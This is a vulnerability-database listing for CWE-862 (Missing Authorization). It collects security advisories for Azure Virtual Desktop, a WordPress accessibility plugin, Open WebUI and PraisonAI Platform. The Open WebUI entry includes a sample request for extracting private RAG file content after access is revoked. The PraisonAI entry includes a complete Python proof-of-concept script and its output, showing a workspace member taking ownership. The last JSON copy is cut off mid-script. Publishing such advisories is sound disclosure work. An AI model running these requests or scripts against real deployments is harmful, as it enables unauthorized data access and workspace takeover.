Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14639 vulnerabilities reference this CWE, most recent first.

GHSA-H35H-MV3V-626V

Vulnerability from github – Published: 2025-04-30 18:31 – Updated: 2025-04-30 18:31
VLAI
Details

Missing authorization in Azure Virtual Desktop allows an authorized attacker to elevate privileges over a network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-21416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-30T18:15:38Z",
    "severity": "HIGH"
  },
  "details": "Missing authorization in Azure Virtual Desktop allows an authorized attacker to elevate privileges over a network.",
  "id": "GHSA-h35h-mv3v-626v",
  "modified": "2025-04-30T18:31:55Z",
  "published": "2025-04-30T18:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21416"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21416"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H363-HGM3-PXR6

Vulnerability from github – Published: 2025-02-14 15:31 – Updated: 2026-04-01 18:33
VLAI
Details

Missing Authorization vulnerability in Ability, Inc Accessibility Suite by Online ADA allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Accessibility Suite by Online ADA: from n/a through 4.16.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-22698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-14T13:15:42Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Ability, Inc Accessibility Suite by Online ADA allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Accessibility Suite by Online ADA: from n/a through 4.16.",
  "id": "GHSA-h363-hgm3-pxr6",
  "modified": "2026-04-01T18:33:37Z",
  "published": "2025-02-14T15:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22698"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/online-accessibility/vulnerability/wordpress-accessibility-suite-by-ability-inc-plugin-4-16-multiple-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H36F-RQPX-J5WX

Vulnerability from github – Published: 2026-05-08 20:03 – Updated: 2026-05-15 23:53
VLAI
Summary
Open WebUI has Unauthorized File and Knowledge Base Content Access via RAG Vector Search
Details

Unauthorized File and Knowledge Base Content Access via RAG Vector Search

Affected Component

RAG source resolution in chat completion pipeline: - backend/open_webui/retrieval/utils.py (lines 963-965, 1063-1068, 1126-1131 in get_sources_from_items)

Affected Versions

Current main branch (commit 6fdd19bf1) and likely all versions with RAG functionality.

Description

The get_sources_from_items function resolves file and knowledge base references into vector search queries during chat completion. Three of the five code paths perform vector store queries without any authorization check, allowing users to extract content from files and knowledge bases they do not have access to.

Path Lines Access Check
type: "file", full-context 1044-1050 has_access_to_file
type: "file", non-full-context (default) 1063-1068 ❌ None
type: "collection" 1070-1118 ✅ Present
type: "text" with collection_name 963-965 ❌ None
Bare collection_name/collection_names 1126-1131 ❌ None

The three unprotected paths pass user-supplied collection names directly to query_collection(), which queries the vector store without any authorization. Collection names follow predictable formats: file-<file_id> for files and the knowledge base UUID for knowledge bases.

CVSS 3.1 Breakdown

Metric Value Rationale
Attack Vector Network (N) Exploited remotely via chat completion API
Attack Complexity Low (L) Single API call with a known resource ID
Privileges Required Low (L) Requires a valid user account
User Interaction None (N) No victim interaction required
Scope Unchanged (U) Impact within the application's data boundary
Confidentiality High (H) Full content of private files/knowledge bases extractable
Integrity None (N) No data modification
Availability None (N) No denial of service

Attack Scenario

  1. User A uploads a private document and uses it in RAG (the document is embedded into the vector store as collection file-<file_id>).
  2. User A shares a chat or model referencing the file with User B, or User B otherwise obtains the file ID through a legitimate interaction.
  3. User A later revokes User B's access to the file.
  4. User B sends a chat completion request referencing the revoked file: json POST /api/chat/completions { "model": "any-accessible-model", "messages": [{"role": "user", "content": "What does this document say about pricing?"}], "files": [{"type": "file", "id": "<revoked_file_id>"}] }
  5. The non-full-context path (default) constructs collection name file-<id> and queries the vector store with no access check.
  6. Matching chunks are injected into the LLM context, and the response contains the victim's private file content.

The same attack works via {"type": "text", "collection_name": "<knowledge_base_id>"} for knowledge bases.

Impact

  • Access revocation is ineffective for RAG content — users who previously had access can continue extracting file and knowledge base content indefinitely
  • Private document content can be systematically extracted through targeted queries
  • Breaks the access control model for files and knowledge bases at the RAG layer

Preconditions

  • Attacker must know the file ID or knowledge base ID (UUID) of the target resource
  • The target file/knowledge base must have been processed into the vector store
  • Attacker must have a valid user account
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.12"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T20:03:09Z",
    "nvd_published_at": "2026-05-15T20:16:47Z",
    "severity": "MODERATE"
  },
  "details": "# Unauthorized File and Knowledge Base Content Access via RAG Vector Search\n\n## Affected Component\n\nRAG source resolution in chat completion pipeline:\n- `backend/open_webui/retrieval/utils.py` (lines 963-965, 1063-1068, 1126-1131 in `get_sources_from_items`)\n\n## Affected Versions\n\nCurrent main branch (commit `6fdd19bf1`) and likely all versions with RAG functionality.\n\n## Description\n\nThe `get_sources_from_items` function resolves file and knowledge base references into vector search queries during chat completion. Three of the five code paths perform vector store queries without any authorization check, allowing users to extract content from files and knowledge bases they do not have access to.\n\n| Path | Lines | Access Check |\n|------|-------|-------------|\n| `type: \"file\"`, full-context | 1044-1050 | \u2705 `has_access_to_file` |\n| `type: \"file\"`, non-full-context (default) | 1063-1068 | \u274c None |\n| `type: \"collection\"` | 1070-1118 | \u2705 Present |\n| `type: \"text\"` with `collection_name` | 963-965 | \u274c None |\n| Bare `collection_name`/`collection_names` | 1126-1131 | \u274c None |\n\nThe three unprotected paths pass user-supplied collection names directly to `query_collection()`, which queries the vector store without any authorization. Collection names follow predictable formats: `file-\u003cfile_id\u003e` for files and the knowledge base UUID for knowledge bases.\n\n## CVSS 3.1 Breakdown\n\n| Metric | Value | Rationale |\n|--------|-------|-----------|\n| Attack Vector | Network (N) | Exploited remotely via chat completion API |\n| Attack Complexity | Low (L) | Single API call with a known resource ID |\n| Privileges Required | Low (L) | Requires a valid user account |\n| User Interaction | None (N) | No victim interaction required |\n| Scope | Unchanged (U) | Impact within the application\u0027s data boundary |\n| Confidentiality | High (H) | Full content of private files/knowledge bases extractable |\n| Integrity | None (N) | No data modification |\n| Availability | None (N) | No denial of service |\n\n## Attack Scenario\n\n1. User A uploads a private document and uses it in RAG (the document is embedded into the vector store as collection `file-\u003cfile_id\u003e`).\n2. User A shares a chat or model referencing the file with User B, or User B otherwise obtains the file ID through a legitimate interaction.\n3. User A later revokes User B\u0027s access to the file.\n4. User B sends a chat completion request referencing the revoked file:\n   ```json\n   POST /api/chat/completions\n   {\n     \"model\": \"any-accessible-model\",\n     \"messages\": [{\"role\": \"user\", \"content\": \"What does this document say about pricing?\"}],\n     \"files\": [{\"type\": \"file\", \"id\": \"\u003crevoked_file_id\u003e\"}]\n   }\n   ```\n5. The non-full-context path (default) constructs collection name `file-\u003cid\u003e` and queries the vector store with no access check.\n6. Matching chunks are injected into the LLM context, and the response contains the victim\u0027s private file content.\n\nThe same attack works via `{\"type\": \"text\", \"collection_name\": \"\u003cknowledge_base_id\u003e\"}` for knowledge bases.\n\n## Impact\n\n- Access revocation is ineffective for RAG content \u2014 users who previously had access can continue extracting file and knowledge base content indefinitely\n- Private document content can be systematically extracted through targeted queries\n- Breaks the access control model for files and knowledge bases at the RAG layer\n\n## Preconditions\n\n- Attacker must know the file ID or knowledge base ID (UUID) of the target resource\n- The target file/knowledge base must have been processed into the vector store\n- Attacker must have a valid user account",
  "id": "GHSA-h36f-rqpx-j5wx",
  "modified": "2026-05-15T23:53:30Z",
  "published": "2026-05-08T20:03:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-h36f-rqpx-j5wx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44560"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has Unauthorized File and Knowledge Base Content Access via RAG Vector Search"
}

GHSA-H37G-4H4P-9X97

Vulnerability from github – Published: 2026-05-29 22:42 – Updated: 2026-05-29 22:42
VLAI
Summary
PraisonAI Platform: Missing role checks let any workspace member become owner and control workspace membership
Details

Summary

PraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to owner.

The issue is caused by privileged workspace-management routes using the shared dependency require_workspace_member(...) without requiring admin or owner. The dependency defaults to min_role="member", so routes that should be administrative are accessible to ordinary workspace members.

As a result, a normal workspace member can:

  • promote their own account from member to owner;
  • add arbitrary users as owner or admin;
  • change other members' roles;
  • remove legitimate owners or members;
  • take over workspace membership completely;
  • perform destructive workspace operations after escalation.

This is a broken access control / vertical privilege escalation vulnerability.

Details

The vulnerable authorization dependency is defined in:

praisonai_platform/api/deps.py
````

The dependency defaults to the lowest workspace role:

```python
async def require_workspace_member(
    workspace_id: str,
    user: AuthIdentity = Depends(get_current_user),
    session: AsyncSession = Depends(get_db),
    min_role: str = "member",
) -> AuthIdentity:
    ...
    has = await member_svc.has_role(workspace_id, user.id, min_role)

Because min_role defaults to "member", any route using:

Depends(require_workspace_member)

without explicitly passing a stronger role only requires ordinary workspace membership.

Privileged workspace-management routes in:

praisonai_platform/api/routes/workspaces.py

use this dependency unchanged on administrative actions, including:

PATCH  /workspaces/{workspace_id}
DELETE /workspaces/{workspace_id}
POST   /workspaces/{workspace_id}/members
PATCH  /workspaces/{workspace_id}/members/{user_id}
DELETE /workspaces/{workspace_id}/members/{user_id}

These routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require admin or owner, but they currently require only member.

The membership service does not provide a second authorization layer. In:

praisonai_platform/services/member_service.py

the mutation methods perform the requested change after the route-level check passes:

async def add(...):
    member = Member(workspace_id=workspace_id, user_id=user_id, role=role)

async def update_role(...):
    member = await self.get(workspace_id, user_id)
    member.role = new_role

async def remove(...):
    member = await self.get(workspace_id, user_id)
    await self._session.delete(member)

Therefore, the weak route dependency is the effective authorization boundary.

A low-privilege user can also learn their own user.id from the normal authentication response. The login/register response includes the authenticated user object:

TokenResponse.token
TokenResponse.user.id

This allows an invited low-privilege member to target their own membership record and self-promote.

Affected component

Package: praisonai-platform
Verified version: 0.1.2
Verified source commit: d8a8a78
Affected components:
- praisonai_platform/api/deps.py
- praisonai_platform/api/routes/workspaces.py
- praisonai_platform/services/member_service.py
- praisonai_platform/api/routes/auth.py
- praisonai_platform/api/schemas.py

PoC

The following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.

The PoC:

  1. Creates the real FastAPI app with praisonai_platform.api.app.create_app().
  2. Registers three users through the real /api/v1/auth/register route.
  3. Creates a workspace as the original owner.
  4. Adds the second user as a normal member.
  5. Logs in as that low-privilege member.
  6. Uses the low-privilege member token to self-promote to owner.
  7. Uses the same token to add a third account as owner.
  8. Uses the same token to remove the original owner.
  9. Confirms the workspace membership has been taken over.

Full PoC code

#!/usr/bin/env python3
"""Self-contained local replay for PraisonAI Platform workspace RBAC bypass."""

from __future__ import annotations

import asyncio
import os
import sys
import types
import uuid
from pathlib import Path

from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine


REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-platform"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"


def verify_source() -> None:
    expected = {
        PLATFORM_ROOT / "praisonai_platform/api/deps.py": [
            'min_role: str = "member"',
            "member_svc.has_role(workspace_id, user.id, min_role)",
        ],
        PLATFORM_ROOT / "praisonai_platform/api/routes/workspaces.py": [
            '@router.patch("/{workspace_id}", response_model=WorkspaceResponse)',
            '@router.delete("/{workspace_id}", status_code=status.HTTP_204_NO_CONTENT)',
            '@router.post("/{workspace_id}/members", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)',
            '@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)',
        ],
        PLATFORM_ROOT / "praisonai_platform/services/member_service.py": [
            "member.role = new_role",
            "await self._session.delete(member)",
        ],
    }

    for path, needles in expected.items():
        text = path.read_text(encoding="utf-8")
        for needle in needles:
            if needle not in text:
                raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")


async def main() -> int:
    if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():
        raise SystemExit("missing local PraisonAI source tree")

    verify_source()

    sys.path.insert(0, str(PLATFORM_ROOT))
    sys.path.insert(0, str(AGENTS_ROOT))

    # Minimal passlib stub for local replay environments where passlib is not installed.
    # This keeps the PoC focused on the authorization bug rather than dependency setup.
    if "passlib" not in sys.modules:
        passlib_pkg = types.ModuleType("passlib")
        passlib_pkg.__path__ = []
        sys.modules["passlib"] = passlib_pkg

    if "passlib.context" not in sys.modules:
        passlib_context = types.ModuleType("passlib.context")

        class _CryptContext:
            def __init__(self, *args, **kwargs):
                pass

            def hash(self, password: str) -> str:
                return f"stub::{password}"

            def verify(self, password: str, hashed: str) -> bool:
                return hashed == f"stub::{password}"

        passlib_context.CryptContext = _CryptContext
        sys.modules["passlib.context"] = passlib_context

    # Keep JWT generation deterministic for the local replay.
    os.environ["PLATFORM_JWT_SECRET"] = "test-secret-for-testing-only"

    from praisonai_platform.api.app import create_app
    from praisonai_platform.db.base import Base, reset_engine
    from praisonai_platform.db import base as base_mod

    await reset_engine()

    engine = create_async_engine(
        "sqlite+aiosqlite:///:memory:",
        echo=False,
        connect_args={"check_same_thread": False},
    )

    base_mod._engine = engine
    base_mod._session_factory = None

    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)

    app = create_app()
    suffix = uuid.uuid4().hex[:8]
    password = "Password123!"

    transport = ASGITransport(app=app)

    async with AsyncClient(transport=transport, base_url="http://test") as client:
        # 1. Register an owner account.
        owner = await client.post(
            "/api/v1/auth/register",
            json={
                "email": f"owner_{suffix}@example.com",
                "password": password,
                "name": f"owner_{suffix}",
            },
        )

        # 2. Register a low-privilege member account.
        member = await client.post(
            "/api/v1/auth/register",
            json={
                "email": f"member_{suffix}@example.com",
                "password": password,
                "name": f"member_{suffix}",
            },
        )

        # 3. Register a third attacker-controlled account.
        extra = await client.post(
            "/api/v1/auth/register",
            json={
                "email": f"extra_{suffix}@example.com",
                "password": password,
                "name": f"extra_{suffix}",
            },
        )

        owner_json = owner.json()
        member_json = member.json()
        extra_json = extra.json()

        owner_headers = {"Authorization": f"Bearer {owner_json['token']}"}
        member_headers = {"Authorization": f"Bearer {member_json['token']}"}

        # 4. Create a workspace as the owner.
        workspace = await client.post(
            "/api/v1/workspaces/",
            json={
                "name": f"ws-{suffix}",
                "slug": f"ws-{suffix}",
                "description": "rbac bypass poc",
            },
            headers=owner_headers,
        )

        workspace_id = workspace.json()["id"]

        # 5. Owner adds the second user as a normal low-privilege member.
        added_member = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={
                "user_id": member_json["user"]["id"],
                "role": "member",
            },
            headers=owner_headers,
        )

        # 6. Low-privilege member self-promotes to owner.
        promoted = await client.patch(
            f"/api/v1/workspaces/{workspace_id}/members/{member_json['user']['id']}",
            json={
                "role": "owner",
            },
            headers=member_headers,
        )

        # 7. The same formerly-low-privilege member adds a third account as owner.
        added_owner = await client.post(
            f"/api/v1/workspaces/{workspace_id}/members",
            json={
                "user_id": extra_json["user"]["id"],
                "role": "owner",
            },
            headers=member_headers,
        )

        # 8. The same account removes the original owner.
        removed_original_owner = await client.delete(
            f"/api/v1/workspaces/{workspace_id}/members/{owner_json['user']['id']}",
            headers=member_headers,
        )

        # 9. Confirm remaining membership state.
        remaining_members = await client.get(
            f"/api/v1/workspaces/{workspace_id}/members",
            headers=member_headers,
        )

        remaining_roles = [m["role"] for m in remaining_members.json()]

        print(f"[poc] owner_status={owner.status_code}")
        print(f"[poc] member_status={member.status_code}")
        print(f"[poc] extra_status={extra.status_code}")
        print(f"[poc] workspace_status={workspace.status_code}")
        print(f"[poc] add_status={added_member.status_code} role={added_member.json()['role']}")
        print(f"[poc] promote_status={promoted.status_code} role={promoted.json()['role']}")
        print(f"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()['role']}")
        print(f"[poc] remove_original_owner_status={removed_original_owner.status_code}")
        print(f"[poc] remaining_roles={remaining_roles}")

        if promoted.status_code != 200 or promoted.json()["role"] != "owner":
            raise SystemExit("[poc] MISS: low-privilege member did not become owner")

        if added_owner.status_code != 201 or added_owner.json()["role"] != "owner":
            raise SystemExit("[poc] MISS: promoted attacker could not add a new owner")

        if removed_original_owner.status_code != 204:
            raise SystemExit("[poc] MISS: promoted attacker could not remove the original owner")

        if remaining_roles.count("owner") < 2:
            raise SystemExit("[poc] MISS: expected attacker-controlled owners after takeover")

        print("[poc] HIT: low-privilege member became owner and took over workspace membership")

    await engine.dispose()
    base_mod._engine = None
    base_mod._session_factory = None

    return 0


if __name__ == "__main__":
    raise SystemExit(asyncio.run(main()))

Observed output

[poc] owner_status=201
[poc] member_status=201
[poc] extra_status=201
[poc] workspace_status=201
[poc] add_status=201 role=member
[poc] promote_status=200 role=owner
[poc] add_owner_status=201 role=owner
[poc] remove_original_owner_status=204
[poc] remaining_roles=['owner', 'owner']
[poc] HIT: low-privilege member became owner and took over workspace membership

Expected secure behavior

The following request should be rejected when made by a plain member:

PATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}
Authorization: Bearer <member_token>
Content-Type: application/json

{
  "role": "owner"
}

Expected response:

403 Forbidden

Actual vulnerable behavior

The request succeeds:

HTTP 200
role = owner

The same account can then add attacker-controlled owners and remove the original owner.

Impact

A low-privilege workspace member can fully take over a workspace.

Impact includes:

  • self-promoting from member to owner or admin;
  • granting owner or admin to attacker-controlled accounts;
  • changing other members' roles;
  • removing legitimate owners or members;
  • modifying workspace metadata and settings;
  • deleting the workspace;
  • taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.

The attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47405"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:42:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`.\n\nThe issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role=\"member\"`, so routes that should be administrative are accessible to ordinary workspace members.\n\nAs a result, a normal workspace member can:\n\n- promote their own account from `member` to `owner`;\n- add arbitrary users as `owner` or `admin`;\n- change other members\u0027 roles;\n- remove legitimate owners or members;\n- take over workspace membership completely;\n- perform destructive workspace operations after escalation.\n\nThis is a broken access control / vertical privilege escalation vulnerability.\n\n### Details\n\nThe vulnerable authorization dependency is defined in:\n\n```text\npraisonai_platform/api/deps.py\n````\n\nThe dependency defaults to the lowest workspace role:\n\n```python\nasync def require_workspace_member(\n    workspace_id: str,\n    user: AuthIdentity = Depends(get_current_user),\n    session: AsyncSession = Depends(get_db),\n    min_role: str = \"member\",\n) -\u003e AuthIdentity:\n    ...\n    has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nBecause `min_role` defaults to `\"member\"`, any route using:\n\n```python\nDepends(require_workspace_member)\n```\n\nwithout explicitly passing a stronger role only requires ordinary workspace membership.\n\nPrivileged workspace-management routes in:\n\n```text\npraisonai_platform/api/routes/workspaces.py\n```\n\nuse this dependency unchanged on administrative actions, including:\n\n```text\nPATCH  /workspaces/{workspace_id}\nDELETE /workspaces/{workspace_id}\nPOST   /workspaces/{workspace_id}/members\nPATCH  /workspaces/{workspace_id}/members/{user_id}\nDELETE /workspaces/{workspace_id}/members/{user_id}\n```\n\nThese routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require `admin` or `owner`, but they currently require only `member`.\n\nThe membership service does not provide a second authorization layer. In:\n\n```text\npraisonai_platform/services/member_service.py\n```\n\nthe mutation methods perform the requested change after the route-level check passes:\n\n```python\nasync def add(...):\n    member = Member(workspace_id=workspace_id, user_id=user_id, role=role)\n\nasync def update_role(...):\n    member = await self.get(workspace_id, user_id)\n    member.role = new_role\n\nasync def remove(...):\n    member = await self.get(workspace_id, user_id)\n    await self._session.delete(member)\n```\n\nTherefore, the weak route dependency is the effective authorization boundary.\n\nA low-privilege user can also learn their own `user.id` from the normal authentication response. The login/register response includes the authenticated user object:\n\n```text\nTokenResponse.token\nTokenResponse.user.id\n```\n\nThis allows an invited low-privilege member to target their own membership record and self-promote.\n\n### Affected component\n\n```text\nPackage: praisonai-platform\nVerified version: 0.1.2\nVerified source commit: d8a8a78\nAffected components:\n- praisonai_platform/api/deps.py\n- praisonai_platform/api/routes/workspaces.py\n- praisonai_platform/services/member_service.py\n- praisonai_platform/api/routes/auth.py\n- praisonai_platform/api/schemas.py\n```\n\n### PoC\n\nThe following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.\n\nThe PoC:\n\n1. Creates the real FastAPI app with `praisonai_platform.api.app.create_app()`.\n2. Registers three users through the real `/api/v1/auth/register` route.\n3. Creates a workspace as the original owner.\n4. Adds the second user as a normal `member`.\n5. Logs in as that low-privilege member.\n6. Uses the low-privilege member token to self-promote to `owner`.\n7. Uses the same token to add a third account as `owner`.\n8. Uses the same token to remove the original owner.\n9. Confirms the workspace membership has been taken over.\n\n#### Full PoC code\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-contained local replay for PraisonAI Platform workspace RBAC bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -\u003e None:\n    expected = {\n        PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n            \u0027min_role: str = \"member\"\u0027,\n            \"member_svc.has_role(workspace_id, user.id, min_role)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/api/routes/workspaces.py\": [\n            \u0027@router.patch(\"/{workspace_id}\", response_model=WorkspaceResponse)\u0027,\n            \u0027@router.delete(\"/{workspace_id}\", status_code=status.HTTP_204_NO_CONTENT)\u0027,\n            \u0027@router.post(\"/{workspace_id}/members\", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)\u0027,\n            \u0027@router.patch(\"/{workspace_id}/members/{user_id}\", response_model=MemberResponse)\u0027,\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/services/member_service.py\": [\n            \"member.role = new_role\",\n            \"await self._session.delete(member)\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -\u003e int:\n    if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(PLATFORM_ROOT))\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    # Minimal passlib stub for local replay environments where passlib is not installed.\n    # This keeps the PoC focused on the authorization bug rather than dependency setup.\n    if \"passlib\" not in sys.modules:\n        passlib_pkg = types.ModuleType(\"passlib\")\n        passlib_pkg.__path__ = []\n        sys.modules[\"passlib\"] = passlib_pkg\n\n    if \"passlib.context\" not in sys.modules:\n        passlib_context = types.ModuleType(\"passlib.context\")\n\n        class _CryptContext:\n            def __init__(self, *args, **kwargs):\n                pass\n\n            def hash(self, password: str) -\u003e str:\n                return f\"stub::{password}\"\n\n            def verify(self, password: str, hashed: str) -\u003e bool:\n                return hashed == f\"stub::{password}\"\n\n        passlib_context.CryptContext = _CryptContext\n        sys.modules[\"passlib.context\"] = passlib_context\n\n    # Keep JWT generation deterministic for the local replay.\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db.base import Base, reset_engine\n    from praisonai_platform.db import base as base_mod\n\n    await reset_engine()\n\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n\n    base_mod._engine = engine\n    base_mod._session_factory = None\n\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    suffix = uuid.uuid4().hex[:8]\n    password = \"Password123!\"\n\n    transport = ASGITransport(app=app)\n\n    async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n        # 1. Register an owner account.\n        owner = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"owner_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"owner_{suffix}\",\n            },\n        )\n\n        # 2. Register a low-privilege member account.\n        member = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"member_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"member_{suffix}\",\n            },\n        )\n\n        # 3. Register a third attacker-controlled account.\n        extra = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"extra_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"extra_{suffix}\",\n            },\n        )\n\n        owner_json = owner.json()\n        member_json = member.json()\n        extra_json = extra.json()\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_json[\u0027token\u0027]}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_json[\u0027token\u0027]}\"}\n\n        # 4. Create a workspace as the owner.\n        workspace = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\n                \"name\": f\"ws-{suffix}\",\n                \"slug\": f\"ws-{suffix}\",\n                \"description\": \"rbac bypass poc\",\n            },\n            headers=owner_headers,\n        )\n\n        workspace_id = workspace.json()[\"id\"]\n\n        # 5. Owner adds the second user as a normal low-privilege member.\n        added_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\n                \"user_id\": member_json[\"user\"][\"id\"],\n                \"role\": \"member\",\n            },\n            headers=owner_headers,\n        )\n\n        # 6. Low-privilege member self-promotes to owner.\n        promoted = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/members/{member_json[\u0027user\u0027][\u0027id\u0027]}\",\n            json={\n                \"role\": \"owner\",\n            },\n            headers=member_headers,\n        )\n\n        # 7. The same formerly-low-privilege member adds a third account as owner.\n        added_owner = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\n                \"user_id\": extra_json[\"user\"][\"id\"],\n                \"role\": \"owner\",\n            },\n            headers=member_headers,\n        )\n\n        # 8. The same account removes the original owner.\n        removed_original_owner = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/members/{owner_json[\u0027user\u0027][\u0027id\u0027]}\",\n            headers=member_headers,\n        )\n\n        # 9. Confirm remaining membership state.\n        remaining_members = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            headers=member_headers,\n        )\n\n        remaining_roles = [m[\"role\"] for m in remaining_members.json()]\n\n        print(f\"[poc] owner_status={owner.status_code}\")\n        print(f\"[poc] member_status={member.status_code}\")\n        print(f\"[poc] extra_status={extra.status_code}\")\n        print(f\"[poc] workspace_status={workspace.status_code}\")\n        print(f\"[poc] add_status={added_member.status_code} role={added_member.json()[\u0027role\u0027]}\")\n        print(f\"[poc] promote_status={promoted.status_code} role={promoted.json()[\u0027role\u0027]}\")\n        print(f\"[poc] 